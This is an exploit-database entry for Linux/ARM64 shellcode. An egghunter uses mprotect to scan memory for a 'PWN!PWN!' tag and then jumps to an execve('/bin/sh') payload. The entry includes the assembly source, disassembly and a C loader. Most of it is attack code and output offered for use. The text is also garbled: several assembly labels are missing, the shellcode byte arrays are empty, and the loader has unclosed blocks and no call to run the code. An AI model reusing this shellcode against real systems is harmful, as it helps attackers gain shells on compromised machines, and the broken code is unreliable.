Linux/ARM64 - Egghunter (PWN!PWN!) + execve("/bin/sh", NULL, NULL) + mprotect() Shellcod

ID 1337DAY-ID-32930
Type zdt
Reporter Ken Kitahara
Modified 2019-07-02T00:00:00


Exploit for arm platform in category shellcode

# Title:  Linux/ARM64 - Egghunter (PWN!PWN!) + execve("/bin/sh", NULL, NULL) + mprotect() Shellcode (88 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c

[email protected]:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu Xenial Xerus (development branch)
Release:	16.04
Codename:	xenial
[email protected]:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
[email protected]:~/works$ cat egghunter.s
.section .text
.global _start

    mov  x8, #226               // Systemcall Number = x8 = 226 (mprotect)
    lsr  x2, x8, #5             // args[2] = x2 = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
    add  x1, x2, #0xff9         // args[1] = x1 = 0x1000
    mov  x10, xzr               // Start address of scannning = x10 = 0x0000000000000000
    mov  x11, #0x5750           // Eggtag = x11 = 0x0000000000005750
    movk x11, #0x214E, lsl #16  // Eggtag = x11 = 0x00000000214E5750
    add  x11, x11, x11, lsl #32 // Eggtag = x11 = 0x214E5750214E5750 = "!NWP!NWP"
    tbz  x8, #63, search_page   // In this code, the top bit of x8 register is always zero. Jump to address of search_page

    br   x10                    // Jump to shellcode

    add  x13, x10, x1           // End address of current page = x13
    ldr  x12, [x10], #8         // Load value from the address pointed by x10 to x12 and add 8 to x10
    cmp  x11, x12               // Compare loaded value and eggtag.
    beq  jump_shellcode         // If loaded value matched to eggtag, jump to the address of jump_shellcode part.
    cmp  x10, x13               // Check if current searching address (x10) over end address of current page (x13).
    bge  jump_search_page       // If x10 was over x13, search next valid page.
    sub  x10, x10, x2           // x10 = x10 - 7. This instruction is for search memory address 1 byte by 1 byte.
    b    next_address           // Check next memory address.

    // mprotect(*buf, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
    add  x0, x10, xzr           // args[0] = x0 = x10 + xzr = x10
    svc  #0x1337                // Invoke mprotect().
    tbz  x0, #63, hunt          // If return value is positive, jump to hunt label location.
    add  x10, x10, x1           // Next page address = x10 + x1 = x10 + 0x1000
    b    search_page            // Check next page address.
[email protected]:~/works$ as -o egghunter.o egghunter.s && ld -o egghunter egghunter.o
[email protected]:~/works$ objdump -d ./egghunter

./egghunter:     file format elf64-littleaarch64

Disassembly of section .text:

0000000000400078 <_start>:
  400078:	d2801c48 	mov	x8, #0xe2                  	// #226
  40007c:	d345fd02 	lsr	x2, x8, #5
  400080:	913fe441 	add	x1, x2, #0xff9
  400084:	aa1f03ea 	mov	x10, xzr
  400088:	d28aea0b 	mov	x11, #0x5750                	// #22352
  40008c:	f2a429cb 	movk	x11, #0x214e, lsl #16
  400090:	8b0b816b 	add	x11, x11, x11, lsl #32

0000000000400094 <jump_search_page>:
  400094:	b6f80148 	tbz	x8, #63, 4000bc <search_page>

0000000000400098 <jump_shellcode>:
  400098:	d61f0140 	br	x10

000000000040009c <hunt>:
  40009c:	8b01014d 	add	x13, x10, x1

00000000004000a0 <next_address>:
  4000a0:	f840854c 	ldr	x12, [x10],#8
  4000a4:	eb0c017f 	cmp	x11, x12
  4000a8:	54ffff80 	b.eq	400098 <jump_shellcode>
  4000ac:	eb0d015f 	cmp	x10, x13
  4000b0:	54ffff2a	400094 <jump_search_page>
  4000b4:	cb02014a 	sub	x10, x10, x2
  4000b8:	17fffffa 	b	4000a0 <next_address>

00000000004000bc <search_page>:
  4000bc:	8b1f0140 	add	x0, x10, xzr
  4000c0:	d40266e1 	svc	#0x1337
  4000c4:	b6fffec0 	tbz	x0, #63, 40009c <hunt>
  4000c8:	8b01014a 	add	x10, x10, x1
  4000cc:	17fffffc 	b	4000bc <search_page>
[email protected]:~/works$ objcopy -O binary egghunter egghunter.bin
[email protected]:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin && echo


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char stager[] =

// Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
char shell[] =

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(stager));

    void *ptr1 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr1 == MAP_FAILED) {

    void *ptr2 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr2 == MAP_FAILED) {

    memcpy(ptr1, stager, sizeof(stager));
    memcpy(ptr2, shell, sizeof(shell));
    sc = ptr1;


    return 0;

# [2019-07-03]  #